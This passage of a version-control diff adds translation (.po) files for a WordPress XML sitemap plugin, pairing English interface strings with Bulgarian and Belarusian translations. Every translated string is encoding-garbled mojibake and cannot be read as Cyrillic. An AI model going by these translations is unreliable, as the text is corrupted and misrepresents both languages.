+ÐŸÐŽÐžÐŒÐŸ ÐŽÐ° ÑÐµ ÑÐ°ÐºÐ° Ð¿ÑÐž Ð·Ð°Ð¿Ð°Ð·Ð²Ð°ÐœÐµ ÐœÐ° Ð¿ÐŸÑÑ)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:814
+msgid "Additional pages"
+msgstr "ÐÐŸÐ¿ÑÐ»ÐœÐžÑÐµÐ»ÐœÐž ÑÑÑÐ°ÐœÐžÑÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:817
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "Ð¢ÑÐº ÐŒÐŸÐ¶ÐµÑÐµ ÐŽÐ° ÐŸÐ¿ÑÐµÐŽÐµÐ»ÐžÑÐµ ÑÐ°Ð¹Ð»ÐŸÐ²Ðµ ÐžÐ»Ðž URL-Ðž, ÐºÐŸÐžÑÐŸ ÐŽÐ° Ð±ÑÐŽÐ°Ñ ÐŽÐŸÐ±Ð°Ð²ÐµÐœÐž Ð² ÐºÐ°ÑÑÐ°ÑÐ° ÐœÐ° ÑÐ°Ð¹ÑÐ°, Ð²ÑÐ¿ÑÐµÐºÐž, ÑÐµ ÐœÐµ ÑÐ° ÑÐ°ÑÑ ÐŸÑ Ð±Ð»ÐŸÐ³Ð°/WordPress.<br />ÐÐ°Ð¿ÑÐžÐŒÐµÑ, Ð°ÐºÐŸ ÐŽÐŸÐŒÐµÐ¹ÐœÑÑ ÐÐž Ðµ www.foo.com Ðž Ð±Ð»ÐŸÐ³ÑÑ ÐÐž ÑÐµ ÐœÐ°ÐŒÐžÑÐ° ÐœÐ° www.foo.com/blog, ÐŒÐŸÐ¶Ðµ ÐŽÐ° ÐŽÐŸÐ±Ð°Ð²ÐžÑÐµ Ð·Ð°Ð³Ð»Ð°Ð²ÐœÐ°ÑÐ° ÑÑÑÐ°ÐœÐžÑÐ° ÐœÐ° ÑÐ°Ð¹ÑÐ° ÑÐž  http://www.foo.com"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:819
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:998
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1012
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1021
+msgid "Note"
+msgstr "ÐÐ°Ð±ÐµÐ»ÐµÐ¶ÐºÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:820
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "ÐÐºÐŸ Ð±Ð»ÐŸÐ³ÑÑ ÐÐž ÑÐµ ÐœÐ°ÐŒÐžÑÐ° Ð² Ð¿ÐŸÐŽÐŽÐžÑÐµÐºÑÐŸÑÐžÑ Ðž ÐÐžÐµ Ð¶ÐµÐ»Ð°ÐµÑÐµ ÐŽÐ° Ð²ÐºÐ»ÑÑÐžÑÐµ ÑÑÑÐ°ÐœÐžÑÐž, ÐºÐŸÐžÑÐŸ ÐÐ ÑÐ° Ð² ÐŽÐžÑÐµÐºÑÐŸÑÐžÑÑÐ° ÐœÐ° Ð±Ð»ÐŸÐ³Ð°, Ð²ÐžÐµ Ð¢Ð Ð¯ÐÐÐ ÐŽÐ° Ð»ÐŸÐºÐ°Ð»ÐžÐ·ÐžÑÐ°ÑÐµ ÐÐ°ÑÐžÑ sitemap-ÑÐ°Ð¹Ð» Ð² Ð³Ð»Ð°Ð²ÐœÐ°ÑÐ° ÐŽÐžÑÐµÐºÑÐŸÑÐžÑ (ÐÐžÐ¶ ÑÐµÐºÑÐžÑÑÐ° &quot;ÐÐµÑÑÐŸÐœÐ°Ñ
+ÐŸÐ¶ÐŽÐµÐœÐžÐµ ÐœÐ° sitemap-ÑÐ°Ð¹Ð»Ð°&quot;)!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:822
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:861
+msgid "URL to the page"
+msgstr "URL ÐœÐ° ÑÑÑÐ°ÐœÐžÑÐ°ÑÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:823
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "ÐÑÐ²ÐµÐŽÐµÑÐµ URL ÐœÐ° ÑÑÑÐ°ÐœÐžÑÐ°ÑÐ°. ÐÑÐžÐŒÐµÑÐž: http://www.foo.com/index.html ÐžÐ»Ðž www.foo.com/home "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:825
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:862
+msgid "Priority"
+msgstr "ÐÑÐžÐŸÑÐžÑÐµÑ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:826
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "ÐÐ·Ð±ÐµÑÐµÑÐµ Ð¿ÑÐžÐŸÑÐžÑÐµÑÐ° ÐœÐ° ÑÑÑÐ°ÐœÐžÑÐ°ÑÐ° Ð² Ð·Ð°Ð²ÐžÑÐžÐŒÐŸÑÑ ÐŸÑ ÐŽÑÑÐ³ÐžÑÐµ ÑÑÑÐ°ÐœÐžÑÐž. ÐÐ°Ð¿ÑÐžÐŒÐµÑ, ÐÐ°ÑÐ°ÑÐ° Ð·Ð°Ð³Ð»Ð°Ð²ÐœÐ° ÑÑÑÐ°ÐœÐžÑÐ° ÐŒÐŸÐ¶Ðµ ÐŽÐ° ÐžÐŒÐ° Ð¿ÐŸ-Ð²ÐžÑÐŸÐº Ð¿ÑÐžÐŸÑÐžÑÐµÑ ÐŸÑ ÑÑÑÐ°ÐœÐžÑÐ°ÑÐ° ÐÐž Ð·Ð° ÐºÐŸÐœÑÐ°ÐºÑ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:828
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:864
+msgid "Last Changed"
+msgstr "ÐÐŸÑÐ»ÐµÐŽÐœÐ° ÐÑÐŸÐŒÑÐœÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:829
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "ÐÑÐ²ÐµÐŽÐµÑÐµ ÐŽÐ°ÑÐ°ÑÐ° ÐœÐ° Ð¿ÐŸÑÐ»ÐµÐŽÐœÐŸÑÐŸ ÐŸÐ±ÐœÐŸÐ²ÑÐ²Ð°ÐœÐµ Ð²ÑÐ² Ð²ÐžÐŽÐ° (ÐœÐ°Ð¿ÑÐžÐŒÐµÑ 2005-12-31) (ÐœÐµÐ·Ð°ÐŽÑÐ»Ð¶ÐžÑÐµÐ»ÐœÐŸ)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:863
+msgid "Change Frequency"
+msgstr "Ð§ÐµÑÑÐŸÑÐ° ÐœÐ° ÐÐ±ÐœÐŸÐ²ÑÐ²Ð°ÐœÐµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:865
+msgid "#"
+msgstr "#"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:870
+msgid "No pages defined."
+msgstr "ÐÑÐŒÐ° ÐŽÐµÑÐžÐœÐžÑÐ°ÐœÐž ÑÑÑÐ°ÐœÐžÑÐž."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:875
+msgid "Add new page"
+msgstr "ÐÐŸÐ±Ð°Ð²ÑÐœÐµ ÐœÐ° ÐœÐŸÐ²Ð° ÑÑÑÐ°ÐœÐžÑÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:880
+msgid "Post Priority"
+msgstr "ÐÑÐžÐŸÑÐžÑÐµÑ ÐœÐ° ÐÐŸÑÑÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:882
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "ÐÐŸÐ»Ñ, ÐžÐ·Ð±ÐµÑÐµÑÐµ ÐœÐ°ÑÐžÐœ ÐœÐ° ÐºÐ°Ð»ÐºÑÐ»ÐžÑÐ°ÐœÐµ ÐœÐ° Ð¿ÑÐžÐŸÑÐžÑÐµÑÐ° ÐœÐ° Ð¿ÐŸÑÑÐŸÐ²ÐµÑÐµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:884
+msgid "Do not use automatic priority calculation"
+msgstr "ÐÐµ ÐžÐ·Ð¿ÐŸÐ»Ð·Ð²Ð°Ð¹ Ð°Ð²ÑÐŸ-ÐºÐ°Ð»ÐºÑÐ»ÐžÑÐ°ÐœÐµ ÐœÐ° Ð¿ÑÐžÐŸÑÐžÑÐµÑÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:884
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "ÐÑÐžÑÐºÐž Ð¿ÐŸÑÑÐŸÐ²Ðµ ÑÐµ ÐžÐŒÐ°Ñ ÐµÐŽÐœÐ°ÐºÑÐ² Ð¿ÑÐžÐŸÑÐžÑÐµÑ, ÐºÐŸÐ¹ÑÐŸ Ðµ ÐŽÐµÑÐžÐœÐžÑÐ°Ðœ Ð² &quot;ÐÑÐžÐŸÑÐžÑÐµÑÐž&quot;"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:895
+msgid "Location of your sitemap file"
+msgstr "ÐÑÑ ÐŽÐŸ sitemap-ÑÐ°Ð¹Ð»Ð°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:898
+msgid "Automatic detection"
+msgstr "ÐÐ²ÑÐŸÐŒÐ°ÑÐžÑÐœÐŸ ÑÐ°Ð·Ð¿ÐŸÐ·ÐœÐ°Ð²Ð°ÐœÐµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:902
+msgid "Filename of the sitemap file"
+msgstr "ÐÐŒÐµ ÐœÐ° sitemap-ÑÐ°Ð¹Ð»Ð°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:905
+msgid "Detected Path"
+msgstr "ÐÐ°ÐŒÐµÑÐµÐœ Ð¿ÑÑ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:905
+msgid "Detected URL"
+msgstr "ÐÐ°ÐŒÐµÑÐµÐœ URL"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:910
+msgid "Custom location"
+msgstr "ÐÑÑÐ³ÐŸ ÐŒÐµÑÑÐŸÐœÐ°Ñ
+ÐŸÐ¶ÐŽÐµÐœÐžÐµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:914
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "ÐÐ±ÑÐŸÐ»ÑÑÐµÐœ Ðž ÐŸÑÐœÐŸÑÐžÑÐµÐ»ÐµÐœ Ð¿ÑÑ ÐŽÐŸ sitemap-ÑÐ°Ð¹Ð»Ð°, Ð²ÐºÐ»ÑÑÐžÑÐµÐ»ÐœÐŸ ÐžÐŒÐµÑÐŸ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:916
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:925
+msgid "Example"
+msgstr "ÐÑÐžÐŒÐµÑ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:923
+msgid "Complete URL to the sitemap file, including name."
+msgstr "ÐÐ±ÑÐŸÐ»ÑÑÐµÐœ URL ÐŽÐŸ sitemap-ÑÐ°Ð¹Ð»Ð°, Ð²ÐºÐ»ÑÑÐžÑÐµÐ»ÐœÐŸ ÐžÐŒÐµÑÐŸ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:936
+msgid "Sitemap Content"
+msgstr "Ð¡ÑÐŽÑÑÐ¶Ð°ÐœÐžÐµ ÐœÐ° ÐºÐ°ÑÑÐ°ÑÐ° ÐœÐ° ÑÐ°Ð¹ÑÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:942
+msgid "Include homepage"
+msgstr "ÐÐºÐ»ÑÑÐž Ð·Ð°Ð³Ð»Ð°Ð²ÐœÐ°ÑÐ° ÑÑÑÐ°ÐœÐžÑÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:948
+msgid "Include posts"
+msgstr "ÐÐºÐ»ÑÑÐž Ð¿ÐŸÑÑÐŸÐ²Ðµ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:911
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:954
+msgid "Include following pages of multi-page posts (&lt;!--nextpage--&gt;)"
+msgstr "ÐÐºÐ»ÑÑÐž ÑÐ»ÐµÐŽÐœÐžÑÐµ ÑÑÑÐ°ÐœÐžÑÐž ÐŸÑ ÐŒÐœÐŸÐ³ÐŸÑÑÑÐ°ÐœÐžÑÐœÐž ÑÑÐ°ÑÐžÐž (&lt;!--nextpage--&gt;)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:960
+msgid "Include static pages"
+msgstr "ÐÐºÐ»ÑÑÐž ÑÑÐ°ÑÐžÑÐœÐž ÑÑÑÐ°ÐœÐžÑÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:966
+msgid "Include categories"
+msgstr "ÐÐºÐ»ÑÑÐž ÐºÐ°ÑÐµÐ³ÐŸÑÐžÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:972
+msgid "Include archives"
+msgstr "ÐÐºÐ»ÑÑÐž Ð°ÑÑ
+ÐžÐ²Ðž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:979
+msgid "Include tag pages"
+msgstr "ÐÐºÐ»ÑÑÐž ÑÑÑÐ°ÐœÐžÑÐž Ñ ÑÐ°Ð³ÐŸÐ²Ðµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:986
+msgid "Include author pages"
+msgstr "ÐÐºÐ»ÑÑÐž Ð°Ð²ÑÐŸÑÑÐºÐž ÑÑÑÐ°ÐœÐžÑÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:994
+msgid "Excluded items"
+msgstr "ÐÐ·ÐºÐ»ÑÑÐµÐœÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:996
+msgid "Excluded categories"
+msgstr "ÐÐ·ÐºÐ»ÑÑÐµÐœÐž ÐºÐ°ÑÐµÐ³ÐŸÑÐžÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:998
+msgid "Using this feature will increase build time and memory usage!"
+msgstr "ÐÐ·Ð¿ÐŸÐ»Ð·Ð²Ð°ÐœÐµÑÐŸ ÐœÐ° ÑÐŸÐ²Ð° ÑÐµ ÑÐ²ÐµÐ»ÐžÑÐž Ð²ÑÐµÐŒÐµÑÐŸ Ð·Ð° ÑÑÐ·ÐŽÐ°Ð²Ð°ÐœÐµ Ðž ÑÐ¿ÐŸÑÑÐµÐ±Ð°ÑÐ° ÐœÐ° Ð¿Ð°ÐŒÐµÑ!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1005
+#, php-format
+msgid "This feature requires at least WordPress 2.5, you are using %s"
+msgstr "Ð¢ÐŸÐ²Ð° ÐžÐ·ÐžÑÐºÐ²Ð° ÐœÐ°Ð¹-ÐŒÐ°Ð»ÐºÐŸ WordPress 2.5, ÐÐžÐµ ÐžÐ·Ð¿ÐŸÐ»Ð·Ð²Ð°ÑÐµ %s"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1008
+msgid "Exclude posts"
+msgstr "ÐÐ·ÐºÐ»ÑÑÐµÐœÐž Ð¿ÐŸÑÑÐŸÐ²Ðµ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1010
+msgid "Exclude the following posts or pages:"
+msgstr "ÐÐµ Ð²ÐºÐ»ÑÑÐ²Ð°Ð¹ ÑÐ»ÐµÐŽÐœÐžÑÐµ Ð¿ÐŸÑÑÐŸÐ²Ðµ Ðž/ÐžÐ»Ðž ÑÑÑÐ°ÐœÐžÑÐž:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1010
+msgid "List of IDs, separated by comma"
+msgstr "Ð¡Ð¿ÐžÑÑÐº ÐœÐ° ID-ÑÐ°ÑÐ°, ÑÐ°Ð·ÐŽÐµÐ»ÐµÐœÐž ÑÑÑ Ð·Ð°Ð¿ÐµÑÐ°Ñ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1012
+msgid "Child posts will not automatically be excluded!"
+msgstr "ÐÐŸÐŽÑÑÑÐ°ÐœÐžÑÐžÑÐµ ÑÐµ Ð±ÑÐŽÐ°Ñ Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐœÐŸ ÐžÐ·ÐºÐ»ÑÑÐµÐœÐž!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1018
+msgid "Change frequencies"
+msgstr "Ð§ÐµÑÑÐŸÑÐ° ÐœÐ° ÐŸÐ±ÐœÐŸÐ²ÑÐ²Ð°ÐœÐµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1022
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "ÐÐŸÐ»Ñ, ÐŸÐ±ÑÑÐœÐµÑÐµ Ð²ÐœÐžÐŒÐ°ÐœÐžÐµ, ÑÐµ ÑÑÐŸÐ¹ÐœÐŸÑÑÑÐ° ÐœÐ° ÑÐŸÐ·Ðž ÑÐ°Ð³ Ðµ ÑÐ°ÐŒÐŸ Ð¿ÐŸÐŽÑÐºÐ°Ð·ÐºÐ°, Ð° ÐœÐµ ÐºÐŸÐŒÐ°ÐœÐŽÐ°. ÐÐŸÑÐž ÑÑÑÑÐ°ÑÐºÐžÑÐµ ÐŽÐ° ÑÐµ Ð²Ð»ÐžÑÑÑ ÐŸÑ ÑÐ°Ð·Ðž ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÑ Ð¿ÑÐž Ð²Ð·ÐµÐŒÐ°ÐœÐµ ÐœÐ° ÑÐµÑÐµÐœÐžÑÑÐ° ÑÐž, ÑÐµ ÐŒÐŸÐ¶Ðµ ÐŽÐ° Ð¿ÐŸÑÐµÑÐ°Ð²Ð°Ñ ÑÑÑÐ°ÐœÐžÑÐž, ÐŒÐ°ÑÐºÐžÑÐ°ÐœÐž Ñ \"hourly\" Ð¿ÐŸ-ÑÑÐŽÐºÐŸ ÐŸÑ ÑÐŸÐ²Ð° ÐœÐ° Ð²ÑÐµÐºÐž ÑÐ°Ñ Ðž ÑÑÑÐ°ÐœÐžÑÐž ÐŒÐ°ÑÐºÐžÑÐ°ÐœÐž Ñ \"yearly\" Ð¿ÐŸ-ÑÐµÑÑÐŸ ÐŸÑ ÐµÐŽÐžÐœ Ð¿ÑÑ Ð² Ð³ÐŸÐŽÐžÐœÐ°ÑÐ°. ÐÑÐžÐµÐŒÐ° ÑÐµ, ÑÐµ ÑÑÑÑÐ°ÑÐºÐžÑÐµ Ð¿ÐµÑÐžÐŸÐŽÐžÑÐœÐŸ Ð¿ÐŸÑÐµÑÐ°Ð²Ð°Ñ ÑÑÑÐ°ÐœÐžÑÐž, ÐŒÐ°ÑÐºÐžÑÐ°ÐœÐž Ñ \"never\" Ð·Ð° ÐŽÐ° ÐŒÐŸÐ³Ð°Ñ ÐŽÐ° ÐŸÑÐ±ÐµÐ»ÐµÐ¶Ð°Ñ ÐµÐ²ÐµÐœÑÑÐ°Ð»ÐœÐž ÐœÐµÐŸÑÐ°ÐºÐ²Ð°ÐœÐž Ð¿ÑÐŸÐŒÐµÐœÐž Ð² ÑÑÐŽÑÑÐ¶Ð°ÐœÐžÐµÑÐŸ ÐžÐŒ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1028
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1086
+msgid "Homepage"
+msgstr "ÐÐ°Ð³Ð»Ð°Ð²ÐœÐ° ÑÑÑÐ°ÐœÐžÑÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1034
+msgid "Posts"
+msgstr "ÐÐŸÑÑÐŸÐ²Ðµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1040
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1104
+msgid "Static pages"
+msgstr "Ð¡ÑÐ°ÑÐžÑÐœÐž ÑÑÑÐ°ÐœÐžÑÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1046
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1110
+msgid "Categories"
+msgstr "ÐÐ°ÑÐµÐ³ÐŸÑÐžÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1052
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "ÐÐ°ÑÑÐŸÑÑ Ð°ÑÑ
+ÐžÐ² Ð·Ð° ÐŒÐµÑÐµÑÐ° (Ð¢ÑÑÐ±Ð²Ð° ÐŽÐ° Ðµ ÑÑÑÐžÑ ÐºÐ°ÑÐŸ ÐœÐ° Ð·Ð°Ð³Ð»Ð°Ð²ÐœÐ°ÑÐ° ÑÑÑÐ°ÐœÐžÑÐ°)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1058
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "Ð¡ÑÐ°ÑÐž Ð°ÑÑ
+ÐžÐ²Ðž (ÐÑÐŸÐŒÑÐœÐ° ÑÐ°ÐŒÐŸ Ð¿ÑÐž ÑÐµÐŽÐ°ÐºÑÐžÑ ÐœÐ° ÑÑÐ°Ñ Ð¿ÐŸÑÑ)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1065
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1123
+msgid "Tag pages"
+msgstr "Ð¡ÑÑÐ°ÐœÐžÑÐž ÐœÐ° ÑÐ°Ð³ÐŸÐ²Ðµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1072
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1130
+msgid "Author pages"
+msgstr "ÐÐ²ÑÐŸÑÑÐºÐž ÑÑÑÐ°ÐœÐžÑÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1080
+msgid "Priorities"
+msgstr "ÐÑÐžÐŸÑÐžÑÐµÑÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1092
+msgid "Posts (If auto calculation is disabled)"
+msgstr "ÐÐŸÑÑÐŸÐ²Ðµ (ÐÐºÐŸ Ð°Ð²ÑÐŸ-ÐºÐ°Ð»ÐºÑÐ»ÐžÑÐ°ÐœÐµ Ðµ ÐœÐµÐ°ÐºÑÐžÐ²ÐœÐŸ)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1098
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "ÐÐžÐœÐžÐŒÐ°Ð»ÐµÐœ Ð¿ÑÐžÐŸÑÐžÑÐµÑ ÐœÐ° Ð¿ÐŸÑÑÐŸÐ²ÐµÑÐµ (ÐÐ°Ð¶Ðž Ðž Ð¿ÑÐž Ð°ÐºÑÐžÐ²ÐžÑÐ°ÐœÐŸ Ð°Ð²ÑÐŸ-ÐºÐ°Ð»ÐºÑÐ»ÐžÑÐ°ÐœÐµ)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1116
+msgid "Archives"
+msgstr "ÐÑÑ
+ÐžÐ²"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1141
+msgid "Update options"
+msgstr "ÐÐ±ÐœÐŸÐ²ÑÐ²Ð°ÐœÐµ ÐœÐ° ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐžÑÐµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1142
+msgid "Reset options"
+msgstr "ÐÑÑÑÐ°ÐœÐµ ÐœÐ° Ð²Ð³ÑÐ°ÐŽÐµÐœÐžÑÐµ ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:81
+msgid "XML-Sitemap Generator"
+msgstr "XML-Sitemap ÐÐµÐœÐµÑÐ°ÑÐŸÑ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:81
+msgid "XML-Sitemap"
+msgstr "XML-Sitemap"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:139
+msgid "Sitemap FAQ"
+msgstr "Ð§ÐµÑÑÐŸ ÐÐ°ÐŽÐ°Ð²Ð°ÐœÐž ÐÑÐ¿ÑÐŸÑÐž"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-by_BY.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-by_BY.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-by_BY.po	(revision 44)
@@ -0,0 +1,729 @@
+# [Countryname] Language File for sitemap (sitemap-[localname].po)
+# Copyright (C) 2005 [name] : [URL]
+# This file is distributed under the same license as the WordPress package.
+# [name] <[mail-address]>, 2005.
+# $Id: sitemap.pot 24948 2007-11-18 16:37:44Z arnee $
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap\n"
+"Report-Msgid-Bugs-To: <[mail-address]>\n"
+"POT-Creation-Date: 2005-06-15 00:00+0000\n"
+"PO-Revision-Date: 2009-06-07 02:23+0100\n"
+"Last-Translator: Arne Brachhold\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Language-Team: \n"
+"X-Poedit-KeywordsList: _e;__\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: C:\\Inetpub\\wwwroot\\wp\\wp-content\\plugins\\sitemap_beta\n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:846
+msgid "Comment Count"
+msgstr "ÐÐŸÐ»ÑÐºÐ°ÑÑÑ ÐºÐ°ÐŒÐµÐœÑÐ°ÑÐŸÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:858
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "ÐÑÐºÐ°ÑÑÑÑÐ°Ðµ ÐºÐŸÐ»ÑÐºÐ°ÑÑÑ ÐºÐ°ÐŒÐµÐœÑÐ°ÑÐŸÑ ÐŽÐ° Ð°ÑÑÑÐºÑÐ»Ð° ÐŽÐ»Ñ Ð²ÑÐ»ÑÑÑÐœÐœÑ Ð¿ÑÑÑÑÑÑÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:918
+msgid "Comment Average"
+msgstr "Ð¡ÑÑÑÐŽÐœÑÑ ÐºÐŸÐ»ÑÐºÐ°ÑÑÑ ÐºÐ°ÐŒÐµÐœÑÐ°ÑÐŸÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:930
+msgid "Uses the average comment count to calculate the priority"
+msgstr "ÐÑÐºÐ°ÑÑÑÑÐ°Ðµ ÑÑÑÑÐŽÐœÑÑ ÐºÐŸÐ»ÑÐºÐ°ÑÑÑ ÐºÐ°ÐŒÐµÐœÑÐ°ÑÐŸÑ ÐŽÐ»Ñ Ð²ÑÐ»ÑÑÑÐœÐœÑ Ð¿ÑÑÑÑÑÑÑÑÑ"
+
